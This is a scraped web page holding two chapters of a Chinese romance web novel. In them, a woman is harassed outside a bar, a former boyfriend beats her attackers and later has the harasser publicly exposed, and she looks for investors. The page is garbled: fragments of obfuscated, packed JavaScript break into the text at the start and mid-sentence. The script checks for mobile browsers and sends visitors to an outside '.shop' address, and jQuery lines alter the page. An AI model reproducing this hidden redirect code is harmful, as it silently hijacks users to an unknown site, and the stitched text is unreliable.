l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261010|198026||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
酒,账单都算在我的头上。”
乔栀意笑:“不用了,我不经常来这的。”
对方垂下眼睫,小声说,“我也才来这上班几天。我就是想着这里的工资给的高,没想到就遇到这样的事情。”
“我也不想在这,可我家里······”
她没继续往下说,可乔栀意能明白,对方应该是挺缺钱的。
对方向她要了个联系方式,两人又闲聊了几句,乔栀意就离开了酒吧。
外面夜深霜重,人迹罕至。冰冷的寒风呼啸,刀刃似的刮得人脸颊都疼。
乔栀意裹紧身上的披肩,沿着酒巷往外走。青石板地面反着皎洁的月光,长长的巷子空旷而安静。
身后忽然传来一阵急促的脚步声。
乔栀意还没来得及回头看,就被人从身后捂住嘴巴,一股浓烈的酒气扑面而来。
“小姑娘,胆子挺大啊?还敢威胁我呢?”
“不让人家陪我?那你陪我咯。”
男人轻佻的声音极近地擦过耳畔。
他身旁还有两个帮腔的男人,流氓似的吹着口哨,“呦呦呦,林哥今晚又要开荤咯!”
“林哥玩完之后能不能让兄弟们也尝尝?小姑娘又漂亮又有个性,我喜欢。”
乔栀意头皮发麻,立刻明白了情况。
她奋力掰下男人的手,狠狠咬了一口。
“啊!”
对方疼得立刻松开她。
“操你妈!臭婊.子!你敢咬我!”
对方恶狠狠的怒骂声在身后,乔栀意快速往前跑着,一颗心快跳出嗓子眼。
还没跑几步,身后忽然传来几个男人尖锐的惨叫声。
乔栀意惊恐回头,就看到谢聿舟把那位林哥拎小鸡仔一样拎起来,抡起拳头一拳朝对方脸上挥去。
地上还趴着方才帮腔的两个男人。
谢聿舟的大衣外套扔在地上,盖在趴着的一人头上。
衬衫衣袖卷起,因为极度用力,手背青色脉络一路蔓延至结实的小臂,怒到额头青筋也暴起。
“你再骂一句试试!”
“这么空虚寂寞要人陪?”
“老子陪你行不行!”
他眸光阴骘,语气狠戾,平日里闲散矜冷的样子不见半分,每一拳都像是下了死手。
对方显然是被打懵了,鼻青脸肿的,毫无还手之力,只能连连哀嚎。
“谢聿舟——”
乔栀意愣了好一会儿才喊他一声。
谢聿舟敛眸看她,这才终于停了手。
一直挨揍的男人精准逮住这个机会,一拳朝谢聿舟的脸上反击回去。
“操!你敢惹老子?你知道老子是谁吗?”
地上躺着的两个男人像是瞬间清醒,“谢、谢聿舟?”
“林哥,你可别说话了吧!这是谢家太子爷呀!”
林哥显然已经醉得头脑不清醒了,“老子管他是谁?今晚老子非得弄死他!”
“好啊,今晚看谁先死。”
谢聿舟舌尖抵了下上颚,嘴里一股浓浓的血腥味,一脚将男人踹翻在地上,狠狠踢了好几脚。
乔栀意听到了咯吱一声,似乎是骨头碎裂的声音。
“别···别打了······”
“我…我错……错了······”
林哥趴在地上一动不动,哀嚎不止,哭喊着求饶。
乔栀意害怕再打下去真的闹出人命,赶紧小跑过去,握住谢聿舟的手腕:
“我们走吧。”
谢聿舟低睫看着握在自己手腕上的那只手,她的掌心冷得像冰块。
定格几秒,他抬眼看着她的眼睛,漆黑的眼眸一瞬不瞬与她对视,眼底情绪不明。
昏黄的路灯下,他神色阴冷,乌黑的碎发垂在额前,脸上有一块青紫,嘴角渗出鲜红的血丝。
谢聿舟的皮肤白,那受伤的挂彩在他脸上就格外明显。
乔栀意突然意识到什么,别开视线,即刻松开他的手腕。
谢聿舟没说话,喉结轻滚了下。
他捡起地上的大衣外套,拍了拍灰尘,顺手披在她的身上。
下一刻。
他滚烫的掌心不由分说地扣住了她冰凉的手,牵着她往酒巷外走。
两人一前一后,他扣住她的力道很重,步伐又急,与其说是牵,不如说是拽。
他的大衣外套又宽又长,简直可以塞两个她。披在她身上像是披了一床被褥,隔绝空气中的冷意,温暖而又厚实,差点拖到地上。
路灯下一高一矮的影子,就这么手牵手走出酒巷。
一路无言。
直到走到泊车区,谢聿舟自顾自拉开车门坐进车后座。
乔栀意将外套脱下来,率先开口打破沉默,“你的衣服。”
谢聿舟神色冷淡,没什么情绪地吐出两个字:“上车。”
12. 第十二章
乔栀意觉得今晚这件事情,她应该要和对方说一声“谢谢”。
可自从她上车之后,谢聿舟一直目视前方,连个正眼都没给她。
封闭的车厢内,气氛诡异的安静,压抑而沉闷,乔栀意也就把那句道谢卡在喉咙里。
黑色劳斯莱斯幻影疾驰在马路上,凌厉低矮的车身如同暗夜精灵。
路边树木萧条,一片枯黄的树叶落到车前玻璃上,又很快被风吹走。
乔栀意稍稍偏头,目光落到对方脸颊上的乌青和嘴角的血丝。
她抿了抿唇,对驾驶座的司机说:“麻烦前面药店停一下。”
“好。”司机也注意到自家老板脸上挂了彩,却没敢多说什么。
她说出这句话,身旁的男人终于偏头看了她一眼,漫不经心的语气:
“你受伤了?”
瞬间的对视,乔栀意即刻收回视线,目视前方,“没有。”
司机将车辆停在一家二十四小时药店,乔栀意下车买了生理盐水、医用棉签和消肿化瘀的药膏。
她上车,把药递到他面前,“回去涂点药吧?”
谢聿舟淡淡瞥了她一眼,似乎是没有想到药是给他的。
他语气闲散又欠揍,傲慢的不可一世,“不会。”
一时之间,乔栀意分不清他这样自小养尊处优的大少爷是真的不会,还是在拒绝她的好意。
他今晚帮了她,所以乔栀意并不在意他此刻恶劣的态度。
她没有觉得因为自己前女友的特殊身份,谢聿舟才出手帮她,今晚就算是换做任何一个被骚扰的女生,按照谢聿舟的性格,大概都会出手相助。
她突然觉得自己很幸运,今晚刚好遇到了他。
乔栀意想了想,还是道了声谢。
如她所料,对方并没有客气地说出不用谢。
乔栀意看着他落拓侧脸的挂彩,觉得伤的也不轻,继续好脾气地说,“要不然我帮你涂吧?”
她说出这话,就做好了被拒绝的准备。
出乎意料,谢聿舟竟然没有拒绝。
他虽然冷着脸没说话,但不疾不徐地侧过身,坐得离她近了点,用行动表示默许。
果然,这位大少爷就是个爱被人伺候的命。
司机识时务地把车停在路边。
乔栀意看着对方高高抬起的下颔,似乎是不愿多看她一眼。她好脾气地提醒,“你、头能不能低下来一点?”
他没理她。
只是默默地把头低下来。
月光洋洋洒洒,照进车窗,给眼前深邃立体的浓颜五官镀上几分矜冷。
乔栀意拿出一根医用棉签,蘸取生理盐水,视线定格到他平直的唇角,不敢偏移半分,抬手轻轻擦掉血丝。
淡淡的香水味,混着尾调清甜的初恋酒香,在狭小逼仄的方寸之地升温发酵,好闻又让人感到安心。
谢聿舟垂着眼,视线似有若无落到眼前女孩的脸上。
她纤长的眼睫蝶翼似的轻扇,呼吸轻的像羽毛,手上动作温柔又细致,尽是小心翼翼。
他不知有多庆幸,还好今晚自己跟上去了。
因为是晚上,光线不好,隔着远了不好看清楚伤口,乔栀意不知不觉间就坐的更近了些。
直到听到他沉重的呼吸声,乔栀意才意识到两人坐得太近了。
或许是车内空调温度开得太高,她有些脸热,心跳也莫名地加速撞着胸膛。
乔栀意稍稍后退,换了根医用棉签,蘸取消肿的药膏,往谢聿舟的脸上轻轻涂抹。
“还是那么爱多管闲事。”
谢聿舟忽然这样来了一句。
他不轻不重的一句话,却惹得乔栀意握着棉签的手顿住,下意识抬眼看他。
谢聿舟说她多管闲事,就说明他知道今晚她被人缠上的原因是因为帮人出头。
她也不知道今晚在酒吧,他到底是什么时候注意到她的。
他话语中的“还是”两个字,就很微妙。
乔栀意忽然就想到毕业旅行的那晚,谢聿舟也是因为她多管闲事和人打了架,她回民宿帮他上药,然后两人发生了第一次。
后来她窝在他的怀里,好奇问他,“谢聿舟,你怎么一点都不怪我?也不问我和那人是什么关系?”
谢聿舟似笑非笑地,语气还有些骄傲:“我女朋友是路见不平一声吼的大英雄,我还能怪她?”
须臾,谢聿舟又摸了摸她的头发,收起一贯闲散慵懒的模样。
“不过——”
“不过什么呀?”
谢聿舟想了想,很认真地说,“只要我在,你可以做任何自己想做的事情。但是我不在的话,你不能那么冲动,首先要保护好自己,知道么?”
乔栀意深呼吸一口气,努力将脑海中过去的那些旖旎画面和暖心话语收回去。
她有些庆幸,还好谢聿舟不知道她此刻在想些什么,不然又不知道该怎么嘲讽她了。
视线交汇良久,脸颊被空调的热气吹得越来越滚烫。
乔栀意终于反应过来,他说出这句话就意味着,刚刚他也是想到了毕业旅行的那晚。
谢聿舟这么直白露骨地说出那句话,像是在斥责,他以前从不会这样斥责她。
又像是满不在意地放下了过去,从容谈之,她一时之间都不知道该怎么回应。
沉默片刻,她顿住的手才继续涂着药,看似平静冷漠地说,“你不也一样。”
涂好药,谢聿舟偏过头去,又恢复了往日不可一世的桀骜骄矜模样,“这么大晚上你一个人来酒吧晃什么?”
乔栀意耐心解释:“和朋友约好了一起来的,他临时有事。”
谢聿舟语气很差,“你这朋友真是一点不靠谱。”
乔栀意抿了抿唇,实话实说,“嗯,他工作比较忙。”
“乔小姐,”谢聿舟轻嗤一声,似乎是觉得好笑,“什么样的朋友值得你都这样了还为他说话?”
乔栀意觉得自己只是实话实说罢了,也不知道怎么就成了他口中的为别人说话了。
他一字一顿,语气戏谑又嘲讽。两人重逢以来,他就很少有和她好好说话的时候。
她尝试着因为他的善举,把所有带有情绪的话语都咽下去,可她失败了。
或许是因为他对她从前和现在天差地别的态度,或许是因为今晚她本身也受到了惊吓情绪不好,又或许是因为酒精让情绪受控,乔栀意终是冷着脸回他一句:
“和你没有关系。”
她这句话之后,空气就陷入了死一般的沉寂。
一直到下车,两人都没再多说一句话。
到家的时候已经很晚了,乔栀意没想到家里竟然还有人没睡。
乔奕繁一个人窝在客厅沙发上打游戏,没开灯,手机屏幕星点的白光照亮他的侧脸。
乔栀意正要上楼,他忽然语气很差地来了一句,“你去哪儿了?这么晚才回来?”
乔栀意站在台阶上,偏头看他,觉得有些好笑。
她上高中的时候,乔奕繁正在他的叛逆期,整天不好好学习,喜欢惹事。
他那时太小,乔鸿锦和钟清芸又总是很忙,她也就勉强尽过一些姐姐的责任。
当初的小男孩如今已然成年了,竟然开始管起她来了。
“我二十几岁的成年人还用不着跟你一个十几岁的小孩汇报。先管好你自己吧,打游戏能打到现在。”
丢下这句话,乔栀意就匆匆上楼回到自己的房间。
满身的酒气和疲惫,乔栀意首先进浴室冲了个澡。
刚躺上床,手机消息声响了一下。
X:【视频发我。】
这是两人加上微信后说的第一句话。
那天谢聿舟送她从蒋老师家回来后,她给他发了车费,他却一直没收。
乔栀意还特意在系统自动退还前发了【车费】两个字提醒他。谢聿舟仍旧没收,也没回她。
大概是工作太忙了,直接忽略了她的消息。
对方的头像是月光下一片漆黑的海水,看着深沉又安静,与她高中时候对他恣意张扬的印象完全不同。
他就这么安安静静地躺在她的好友列表里,一直到今晚。
乔栀意打字回他:【什么视频?】
X:【你今晚拍的。】
X:【那个畜生。】
乔栀意这才反应过来,他说的是她在酒吧拍的那个林哥为难女服务员的视频。
原来那个时候他就看到她了。
她把视频发过去,问他:【怎么了?】
谢聿舟没回她。
第二天一大早,乔栀意是被沈闻彬的电话吵醒的。
“你现在在家吗?”
乔栀意从床上坐起来,揉了揉头发,“嗯,在家。”
“那就好,你没事就好。我马上去找你。”电话那头长舒了一口气。
乔栀意听出一些不对劲,“怎么了?怎么这么说?”
沈闻彬:“我看到wilens酒吧的新闻了,想到昨晚你在那里,怕你出事。”
乔栀意:“什么新闻?”
沈闻彬转发热搜消息给她,感叹道:“就这个。也不算什么大事,不知道怎么就闹出这么大的动静了。”
乔栀意点开消息看了下。
一条热搜挂在网页最前排,后面赫然跟着个“爆”字。
【据悉,林氏地产大少爷林永业,昨日于wilens酒吧醉酒后性/骚扰服务员,殴打酒吧老板,损坏酒吧财物,相关证据已由路人提交警方,现林永业已被市公安拘留。】
几百万的点赞评论转发,其中不乏一线流量明星,凌远传媒的艺人最多。
更有流量大博主盘点林永业犯过的各种恶劣行径,醉驾、嫖.娼,深夜和有夫之妇出入酒店、殴打摆摊老人……
以前这些消息也有过风吹草动,但很快就被压了下来,如今却一下被做成盘点合集,引起了全网的公愤。
这条热搜后面紧跟着一条相关热搜:【林氏地产股价大崩盘,单日猛跌87%】
这下乔栀意才明白,昨天谢聿舟要她拍的那个视频是要做什么了。
他这办事效率实在是很可以。
沈闻彬过来的时候,乔栀意正在吃早饭。
他坐到她的对面,从口袋里面掏出一个四四方方的红丝绒首饰盒,放到白瓷桌面上。打开,里面是一条极其奢侈漂亮的蓝宝石手链。
沈闻彬语气郑重,“栀意,这是给你的,作为赔罪。昨晚我失约了,十分抱歉。”
乔栀意眼睫轻颤了下,一时之间还不太适应对方从“乔小姐”到“栀意”的称呼。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261011|198026||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>她摆摆手,“不用,我都说了没事。”
她没有认为自己重要到可以让对方放下紧急工作来赴约的地步,两人还不算太熟悉,她也永远不会对他有这样的期待。
沈闻彬坚持:“你要是不收下的话,我会以为你心里其实是在怪我。我前女友就总这样,心里明明生气嘴上却总是不说,让我总是一头雾水。”
“我可能不太会哄女人,但我会努力学习。”
乔栀意听出来他语气中的无奈和真诚,耐心解释,“我是真的没有生气。”
“你要是真觉得抱歉,就和我多说说生意上的事情吧。”
这些天她大概看了下工作室的选址,准备好了核心注册文件。
她这些年的积蓄并不算太多,启动注册、租场地、买设备都够用,但还要有个对接的实体店就完全不够用了。
沈闻彬听着乔栀意的商业规划,赞成地点了点头,“实体店可以强化品牌具象化认知,促进体验式成交和定制转换。就是开销会更大,你这种情况最好是要拉投资。”
乔栀意嗯了声,“我也是这么想的。”
她把构思好的用来拉投资的商业计划书内容大致和沈闻彬说了下,沈闻彬针对盈利模式和市场分析两块提出了一些修改意见,夸赞道,“一些小细节修改一下就行,整体很棒。”
“乔董知道你要创业的事情吗?”
乔栀意摇头,“不知道,没必要告诉他。我的工作室和他没有任何关系。”
沈闻彬知道,她说出这话就意味着,她不会依靠乔鸿锦拉投资,“那需要我帮忙吗?”
“不用,我自己有想法。”乔栀意干脆地拒绝。
她还不想和沈闻彬有太大的利益牵扯,不想欠他难还的人情。
沈闻彬能感觉到对方总是刻意和他保持距离,也尽量尊重她自己的想法。他勉强笑笑:“行吧,那需要我的时候让我知道。”
吃过早饭,两人陪乔奶奶一起在附近的公园逛了会儿,晒晒暖和的太阳。
中午沈闻彬开车带两人去外面的中餐厅吃午饭。下午,乔栀意就和沈闻彬去医院看他爷爷。
乔栀意每次去医院都会给沈爷爷念故事、聊天,沈老爷子和乔爷爷有差不多的兴趣爱好,都喜欢看电视、打麻将、钓鱼、爬山,都喜欢谈论国家大事,乔栀意和他有很多共同话题。
几次相处下来,老人家打心眼里喜欢这个姑娘。
等乔栀意离开,乔老爷子偷偷问沈闻彬,“和小姑娘发展到什么程度了?什么时候娶回家当我孙媳妇?”
“八字还没一撇呢,人家小姑娘好像没有什么和我进一步发展的想法。”沈闻彬玩笑说,“我看她对爷爷你比对我话都多。”
沈老爷子直摇头:“那你这不太行啊,得加把劲儿。感情这事儿,男人就得多主动一点。”
沈闻彬若有所思地点点头,“我知道了。”
沈老爷子:“有几成把握?”
沈闻彬:“九成。”
沈老爷子有些不信:“这么自信?”
“那当然,别小看你孙子。”
钟清芸和沈闻彬说过,乔栀意最在意的就是乔奶奶。
所以他知道,他需要再多放些心思在乔奶奶的身上。
-
将商业计划书修改完善好之后,乔栀意就开始寻找投资人了。明瑶给她引荐了几个熟人,但对方最近都没档期。
最后终于有个她投的垂直的线上渠道投资人要求和她面谈。
乔栀意在网上将对方的背景资料大概了解清楚,确定对方身份真实可信后,就带着商业计划书如期来到对方公司。
她没想到会在办公大楼的电梯入口处撞见路昭。
路昭问她,“栀意?你怎么在这呢?”
“准备创业了,来这边谈谈投资的事情。”乔栀意莞尔。
“哦,巧了么不是,我刚刚从孙明铮办公室出来。”
“是挺巧。”
叮一声,电梯门开,乔栀意和路昭告别,“那我就先上去了,有机会再聊。”
“行,你去吧,拜拜。”
乔栀意刚乘上电梯,路昭就立刻拨通了谢聿舟的电话。
凌远传媒总裁办。
陈秘书过来汇报工作,“谢总,刚刚林氏地产董事长亲自打来电话,说想邀请您共进午餐。”
谢聿舟怎么会不知道对方的意图,无非是想和他谈一谈林永业那条热搜的事情。
他慵懒坐在办公椅上,继续看合同签字,眼皮都没抬一下,漫不经心道,“那老家伙要是再打来,你就跟他说,等他把那畜牲儿子教好再来和我谈。”
畜牲两个字咬得很重,给陈秘书惊了一下:“······好。”
陈秘书刚走出办公室,他的私人电话又响起。
那头响起路昭故弄玄虚的声音,“你猜猜我今天碰到谁了?”
“管你呢,”谢聿舟冷笑一声,“你碰到玉皇大帝也和老子没关系。”
路昭啧一声,语调欠欠的,“算了,那你初恋白月光在哪里肯定也和你没关系了。谢哥哥肯定不会关心的。”
“······”
手中的钢笔笔尖在白纸上印出一个黑点。
谢聿舟将钢笔在手里转了个圈,身体随意往后一靠。
“她在哪儿?”